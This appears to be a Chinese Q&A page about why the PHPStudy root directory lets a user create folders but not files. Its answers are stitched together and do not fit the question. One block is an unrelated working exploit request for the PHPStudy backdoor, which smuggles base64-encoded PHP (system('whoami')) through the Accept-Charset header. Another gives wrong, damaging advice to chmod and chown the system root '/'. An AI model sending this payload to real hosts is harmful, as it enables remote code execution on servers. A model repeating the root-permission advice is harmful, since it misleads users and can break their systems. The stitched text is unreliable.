PHP study里面我的根目录没办法创建文本 只能创建文件夹是怎么回事呢
点击属性,勾选相关权限
用BurpSuite将存在漏洞的数据包发送至Repeater模块进行测试,只需修改数据包中如下两处位置即可
# 将要执行的代码进行Base64编码,例如:system('whoami');
Accept-charset: c3lzdGVtKCd3aG9hbWknKTs=
# 注意删除gzip,deflate之间的空格,否则不生效
Accept-Encoding: gzip,deflate
具体数据包如下:
GET /phpinfo.php HTTP/1.1
Host: 192.168.126.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-charset: c3lzdGVtKCd3aG9hbWknKTs=
Accept-Encoding: gzip,deflate
Connection: close
Upgrade-Insecure-Requests: 1
该问题可能是由于文件权限不足引起的。在Linux中,可以通过chmod命令更改文件或目录的权限。建议将根目录的权限设置为755,即可让用户、组和其他用户都有读写权限。可以通过以下命令更改权限:
sudo chmod 755 /
如果没有管理员权限,可以通过查看文件所属用户和组的方式进行更改。可以通过以下命令查看文件所属用户和组:
ls -l /
通过查看结果可以得知文件的所有者和所属组。如果当前用户不是文件的所有者,可以使用以下命令更改文件的所有者:
sudo chown <username> /
其中,是要更改的用户名。
如果以上方法都不起作用,可以尝试更改PHP的配置文件php.ini。可以通过以下命令找到php.ini的位置:
php --ini
在php.ini中查找以下内容:
open_basedir =
如果该值被设置为根目录( / ),则说明只有在该目录下才能进行文件操作。可以将其改为允许在其他目录中进行文件操作,例如:
open_basedir = /home:/tmp
其中,/home和/tmp是允许访问的目录,多个目录之间用冒号分隔。修改完php.ini后,需要重启Apache服务器才能生效。
如果以上方法都不能解决问题,请尝试重新安装PHPstudy或使用其他支持PHP环境的软件。